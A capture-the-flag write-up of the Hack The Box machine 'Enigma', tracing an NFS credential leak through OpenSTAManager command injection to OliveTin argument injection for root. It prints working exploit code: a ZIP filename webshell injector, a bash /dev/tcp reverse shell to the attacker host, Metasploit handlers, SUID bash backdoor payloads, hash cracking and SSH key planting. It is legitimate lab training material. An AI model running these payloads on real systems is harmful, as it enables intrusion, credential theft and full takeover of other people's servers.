HTB :: Enigma
Command injection attacks chained across two CVEs: NFS credential leak → OpenSTAManager authenticated CMDi (CVE-2025-69212) → OliveTin password-type argument injection (CVE-2026-27626) for root.
🔒 This section is password protected.
1 · Recon
Throughout this writeup, two global environment variables are defined in ~/.bashrc or ~/.zshrc: $targetIp for the machine address and $attackerIp for the local tun0 interface.
1.1 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 53211/tcp mountd
| 100021 1,3,4 33567/tcp nlockmgr
143/tcp open imap Dovecot imapd (Ubuntu)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
995/tcp open ssl/pop3 Dovecot pop3d
2049/tcp open nfs 3-4 (RPC #100003)
Key ports:
| Port | Service | Note |
|---|---|---|
2049/tcp · NFS |
World-readable export | onboarding PDF with initial credentials |
80/tcp · HTTP |
nginx → enigma.htb | static corporate site |
110 / 143 / 993 / 995 |
Dovecot POP3 + IMAP | mail services once credentials are in hand |
1.2 Webbing
“Enigma Corp delivers reliable managed IT support, hardware maintenance contracts, and on-site technical assistance.” The landing page was only static content with non-functional buttons, so web enumeration was dropped and the workflow shifted straight toward the discovered NFS service.
2 · Web
2.1 NFS Breach
The RPC output already showed NFS on 2049/tcp. First check was the export list:
$ showmount -e $targetIp
Export list for 10.129.78.103:
/srv/nfs/onboarding *
The export was world-readable (*) — mountable without credentials:
NFS="$targetIp:/srv/nfs/onboarding"
sudo mkdir -p /mnt/target-nfs
sudo mount -t nfs "$NFS" /mnt/target-nfs -o nolock
ls -la /mnt/target-nfs
# cleanup
sudo umount /mnt/target-nfs && sudo rmdir /mnt/target-nfs
$ ls -la /mnt/target-nfs
total 12
drwxr-xr-x 2 root root 4096 Feb 19 11:54 .
drwxr-xr-x 5 root root 4096 Jun 27 17:21 ..
-rw-r--r-- 1 root root 1751 Feb 19 11:53 New_Employee_Access.pdf
$ cp /mnt/target-nfs/* .
$ ll
-rw-r--r-- 1 pentester pentester 1.8K Jun 27 17:23 New_Employee_Access.pdf
The downloaded PDF revealed a confidential notification for new employees, containing initial credentials for user kevin and the corresponding webmail URL.
That shifted the mail services into the next target. Register the mail vhost first:
echo "$targetIp mail001.enigma.htb" | sudo tee -a /etc/hosts
With kevin:Enigma2024! in hand, access http://mail001.enigma.htb. Roundcube 1.6.16 — updated, no open CVE. Kevin’s mailbox however exposed a colleague: Sarah from Accounts.
See appendix 5.1 for an alternative NFS root filesystem escape that reads Sarah’s mail directly without touching webmail.
2.2 Password Reuse
The welcome PDF contained a temporary onboarding password — a classic non-rotated initial credential. The first spray target was Sarah, the only known user exposed by Kevin’s mailbox.
Sarah reused the same initial password for her Roundcube account. Her mailbox contained a support-system handoff email:
| Field | Value |
|---|---|
| URL | http://support_001.enigma.htb |
| Username | admin |
| Password | Ne3s4rtars78s |
echo "$targetIp support_001.enigma.htb" | sudo tee -a /etc/hosts
2.3 OpenSTAManager
The vhost support_001.enigma.htb served OpenSTAManager — an Italian management platform for assistance work and invoicing. Admin credentials granted immediate access. Version 2.9.8 was outdated and affected by multiple vulnerabilities.
2.3.1 CVE-2025-69212
The advisory marks OpenSTAManager <= 2.9.8 as affected by authenticated command injection in P7M invoice processing. The session was already admin — the missing piece was reaching the invoice import workflow. The vulnerable sink:
// php · XML.php — vulnerable sink
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE — No input sanitization
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"',
$output, $cmd);
}
}
}
2.3.1.1 Vulnerability Analysis
The vulnerable upload boundary starts in plugins/importFE/actions.php. ZIP uploads are accepted by outer filename extension and extracted directly into the import directory with no internal path validation:
// php · actions.php
if (string_ends_with($name, '.zip')) {
$directory = FatturaElettronica::getImportDirectory();
// [!] Internal ZIP entry paths are attacker-controlled
Util\Zip::extract($temp_name, $directory);
}
The extraction helper in src/Util/Zip.php performs a plain ZipArchive::extractTo() with no filename normalization:
// php · Zip.php
public static function extract($path, $destination = null)
{
$zip = new \ZipArchive();
$extraction_dir = !empty($destination) ? $destination : base_dir().'/tmp';
directory($extraction_dir);
// [!] No internal path validation before extraction
$zip->extractTo($extraction_dir);
$zip->close();
return $extraction_dir;
}
Any archive entry ending in .p7m is passed to the P7M decoder via FatturaElettronica::__construct():
// php · FatturaElettronica.php
public function __construct($name, $directory = null, $plugin = null)
{
$this->file = static::getImportDirectory(...).'/'.$name;
// [!] $name comes from extracted ZIP entry — attacker-controlled
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file);
}
}
The code wraps $file in double quotes inside the openssl shell command but never shell-escapes it. A filename containing:
"; <command>; echo "
breaks out of the quoted -in argument and injects a second command. The upstream fix added a character blocklist and proper escaping:
// php · XML.php (patched)
if (preg_match('/[;&|`$(){}\[\]<>]/', $file) || preg_match('/[;&|`$(){}\[\]<>]/', $output_file)) {
throw new \Exception('Invalid file path');
}
$escaped_file = escapeshellarg($file);
exec('openssl smime -verify -noverify -in '.$escaped_file.' ...', $output, $cmd);
Full exploit chain:
- Admin uploads crafted
*.zipvia Importazione FE Util\Zip::extract()— extracts attacker-controlled archive member names- Crafted
*.p7mfilename lands in import directory FatturaElettronica::__construct($name)→XML::decodeP7M($this->file)exec("openssl ... -in \"$file\" ...")— unescaped path → arbitrary command execution aswww-data
2.3.1.2 Command Injection PoC
Avoid / inside the injected command since ZIP extraction treats slash as a path separator. Use cd first, then write the webshell with printf:
#!/usr/bin/env python3
# makezip-cve-2025-69212.py
import zipfile
# Keep '/' out of the injected command
cmd = "cd files && printf '<?php system($_REQUEST[\"cmd\"]); ?>' > .files.php"
# Break out of the quoted -in argument in XML::decodeP7M()
name = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile("xpl.zip", "w") as zf:
zf.writestr(name, b"exploited before XML parsing fails")
print("[+] wrote xpl.zip")
$ python makezip-cve-2025-69212.py
[+] wrote xpl.zip
$ unzip -l xpl.zip
Archive: xpl.zip
Length Date Time Name
--------- ---------- ----- ----
34 2026-06-27 19:23 invoice.p7m";cd files && printf '<?php system($_REQUEST["cmd"]); ?>' > .files.php;echo ".p7m
Upload the ZIP from the Importazione FE entry on the invoice workspace. The response throws an XML parsing error — expected. The injected command ran during P7M decoding, before invoice processing completes. Verify:
$ curl "http://support_001.enigma.htb/files/.files.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Webshell confirmed at /files/.files.php — command execution as www-data.
2.4 Shell
Start a Metasploit listener, then trigger the webshell with a base64-encoded reverse shell to avoid URL metacharacter issues:
# msf · handler
msfconsole -q -x "use exploit/multi/handler; set payload generic/shell_reverse_tcp; \
set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -j"
# bash · trigger reverse shell
webshell="http://support_001.enigma.htb/files/.files.php"
payload=$(printf 'bash -c "bash -i >& /dev/tcp/%s/4444 0>&1"' "$attackerIp" | base64 -w0)
curl "$webshell" --data-urlencode "cmd=echo '$payload' | base64 -d | bash"
[*] Command shell session 1 opened (10.10.13.68:4444 -> 10.129.78.103:49134)
www-data@enigma:~/html/openstamanager/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgrade to Meterpreter:
# msf · shell → meterpreter
use post/multi/manage/shell_to_meterpreter
set PLATFORM_OVERRIDE linux
set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST tun0
set LPORT 5555
run
[*] Meterpreter session 2 opened (10.10.13.68:5555 -> 10.129.78.103:57184)
meterpreter > getuid
Server username: www-data
3 · User
3.1 Web Server Enumeration
First move from any web server foothold: enumerate config files.
meterpreter > pwd
/var/www/html/openstamanager
meterpreter > ls *config*
100644 config.example.php
100644 config.inc.php
100644 config.php
config.inc.php contained plaintext database credentials:
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
3.2 SQL Dump
Use the credentials from the shell. OpenSTAManager stores users in zz_users:
mysql -ubrollin -p'Fri3nds@9099' openstamanager \
-e "SELECT id, username, password FROM zz_users;"
+----+----------+--------------------------------------------------------------+
| id | username | password |
+----+----------+--------------------------------------------------------------+
| 1 | admin | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu |
| 2 | haris | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC |
+----+----------+--------------------------------------------------------------+
Crack with Hashcat mode 3200 (bcrypt):
$ hashcat -m 3200 hashes.txt "$wordlists"/rockyou.txt
$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC:bestfriends
Status: Cracked
www-data@enigma:~/html/openstamanager$ su - haris
Password: bestfriends
haris@enigma:~$ id
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users)
3.3 SSH Connection
The target only allows public key authentication — no password login. Generate a key pair and plant the public key from the www-data shell:
ssh-keygen -q -t ed25519 -f /tmp/k -N ""
u="haris"
pk="$(cat /tmp/k.pub)"
sp="/home/$u/.ssh"
install -d -m 700 $sp
printf '%s\n' "$pk" > $sp/authorized_keys
chmod 600 $sp/authorized_keys
$ chmod 600 key
$ ssh -i key haris@enigma.htb
haris@enigma:~$ id
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users)
haris@enigma:~$ cat user.txt
d**********************************4
4 · Root
4.1 Local Enumeration
Inspect runtime sockets:
haris@enigma:~$ ss -tulpen
Netid State Local Address:Port Process
tcp LISTEN 127.0.0.1:1337 ino:12375 sk:1004 cgroup:/system.slice/OliveTin.service
Port 1337 bound to OliveTin.service — an admin panel for exposing predefined shell commands as web actions. If it runs as root, any unsafe argument becomes a privilege boundary.
4.2 OliveTin
4.2.1 Service Enumeration
Confirm the process owner:
haris@enigma:~$ ps -eo user,pid,cmd | grep -i '[o]livet'
root 1468 /usr/local/bin/OliveTin
Root. Check the service configuration for actions and auth settings:
haris@enigma:~$ cat /etc/OliveTin/config.yaml | grep -Ei 'auth|pass|shell'
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
- name: db_pass
type: password
authRequireGuestsToLogin: false
authRequireGuestsToLogin: false — guest access is allowed without authentication. Combined with a root-owned shell action, this is the full privilege boundary.
4.2.2 Tunneling
Forward port 1337 over SSH to reach the OliveTin panel from the browser:
ssh -i key haris@enigma -L 1337:127.0.0.1:1337
OliveTin v3000.10.0 — Backup Database action accessible as guest.
4.2.3 CVE-2026-27626
CVE-2026-27626 affects OliveTin <= 3000.10.0. The config puts db_pass inside single quotes in a shell string. The vulnerability is that password-type arguments bypass the shell safety check entirely, and also bypass the regex character validation — meaning shell metacharacters survive unchecked.
4.2.3.1 Backdoor Analysis
In service/internal/api/api.go, every argument is copied straight into the executor request without validation:
// go · api.go — argument copy
func (api *oliveTinAPI) StartActionAndWait(...) {
args := make(map[string]string)
for _, arg := range req.Msg.Arguments {
args[arg.Name] = arg.Value // [!] attacker-controlled
}
execReq := executor.ExecutionRequest{
Arguments: args, // [!] reaches executor
}
}
The shell safety guard in service/internal/executor/arguments.go rejects several dangerous types — but omits password:
// go · arguments.go — missing password in unsafe list
func checkShellArgumentSafety(action *config.Action) error {
if action.Shell == "" { return nil }
// [!] "password" is NOT in this map
unsafe := map[string]struct{}{
"url": {}, "email": {}, "raw_string_multiline": {}, "very_dangerous_raw_string": {},
}
for _, arg := range action.Arguments {
if _, bad := unsafe[arg.Type]; bad {
return fmt.Errorf("unsafe argument type '%s' cannot be used with Shell execution.", arg.Type)
}
}
return nil
}
TypeSafetyCheck also returns nil for password with no character restriction — quotes, semicolons, and shell comments all survive:
// go · TypeSafetyCheck — password case
func TypeSafetyCheck(name string, value string, argumentType string) error {
switch argumentType {
case "password":
return nil // [!] no character restriction whatsoever
...
}
return typeSafetyCheckRegex(name, value, argumentType)
}
The final sink is executor_unix.go — the rendered shell string goes straight to sh -c:
// go · executor_unix.go — shell sink
func wrapCommandInShell(ctx context.Context, finalParsedCommand string) *exec.Cmd {
cmd := exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) // [!] shell sink
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
return cmd
}
4.2.3.2 Attack Chain
StartActionAndWait()— copies JSON arguments intoExecutionRequest.ArgumentscheckShellArgumentSafety()— omitstype=passwordfrom the unsafe listTypeSafetyCheck("db_pass", ..., "password")→ returnsnil; shell metacharacters survivetpl.ParseTemplateWithActionContext(Action.Shell, ..., Arguments)— expandsdb_passinside the mysqldump shell stringexec.CommandContext(ctx, "sh", "-c", finalParsedCommand)→ arbitrary command execution as root
The injection payload closes the single-quoted password argument and runs a second command:
db_pass = x' ; id ; #
# Rendered shell command:
mysqldump -u backup_svc -p'x' ; id ; #' production > /opt/backups/backup.sql
^ ^ ^
| | └─ comments trailing syntax
| └─ injected command runs as root
└─ closes original single quote
4.2.3.3 Exploit
Identify the bindingId for the Backup Database action via the API:
haris@enigma:~$ curl -s http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/GetDashboard \
-H 'Content-Type: application/json' --data '{}' \
| jq '.. | objects | select(.title? == "Backup Database") | .action'
{
"bindingId": "backup_database",
"canExec": true,
"arguments": [
{"name": "db_user", "type": "ascii_identifier", "defaultValue": "backup_svc"},
{"name": "db_pass", "type": "password", "defaultValue": ""},
{"name": "db_name", "type": "ascii_identifier", "defaultValue": "production"}
]
}
Inject via the UI, or call the API directly to install an SUID bash:
actionId='backup_database'
cmd="install -m 4755 /bin/bash /tmp/.bs"
cat > /tmp/backdoor.json <<JSON
{
"actionId": "$actionId",
"arguments": [
{"name": "db_user", "value": "backup_svc"},
{"name": "db_pass", "value": "x' ; $cmd ; #"},
{"name": "db_name", "value": "production"}
]
}
JSON
curl -s -X POST \
-H 'Content-Type: application/json' \
--data @/tmp/backdoor.json \
http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait
haris@enigma:~$ ls -la /tmp/.bs
-rwsr-xr-x 1 root root 1446024 Jun 28 05:23 /tmp/.bs
haris@enigma:~$ /tmp/.bs -p
.bs-5.2# id
uid=1000(haris) gid=1000(haris) euid=0(root) groups=1000(haris),100(users)
.bs-5.2# cat /root/root.txt
9********************************b
5 · Appendix
5.1 Netexec NFS — Root Filesystem Escape
Netexec automatically detects NFS root escape and can read files beyond the exported share — including mail spools — without needing to compromise any account first.
$ nxc nfs "$targetIp" --enum-shares
NFS 10.129.78.103 [*] Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.78.103 [+] /srv/nfs/onboarding
NFS 10.129.78.103 0 r-- 1.7KB /srv/nfs/onboarding/New_Employee_Access.pdf *
root escape:True means the share can be traversed to the host root path. Read /etc/passwd to enumerate system users:
$ nxc nfs "$targetIp" --get-file /etc/passwd passwd
NFS 10.129.78.103 File successfully downloaded from /etc/passwd to passwd
$ cat passwd | grep '/home'
haris:x:1000:1000:,,,:/home/haris:/bin/bash
kevin:x:1001:1001::/home/kevin:/usr/sbin/nologin
sarah:x:1002:1002::/home/sarah:/usr/sbin/nologin
it:x:1003:1003::/home/it:/usr/sbin/nologin
Sarah’s mail spool was directly readable — exposing the OpenSTAManager admin credentials without webmail:
$ nxc nfs "$targetIp" --get-file '/var/mail/sarah' sarah.mail
NFS 10.129.78.103 File successfully downloaded from /var/mail/sarah to sarah.mail
$ tail sarah.mail
Username: admin
Password: Ne3s4rtars78s
Note: I will create a dedicated account for you shortly, for now you can use the admin account.
Regards,
IT Support
Enigma Corp
Alternate Route — NFS root escape → read /var/mail/sarah directly → skip webmail entirely → pivot straight to section 2.3 with admin credentials for OpenSTAManager.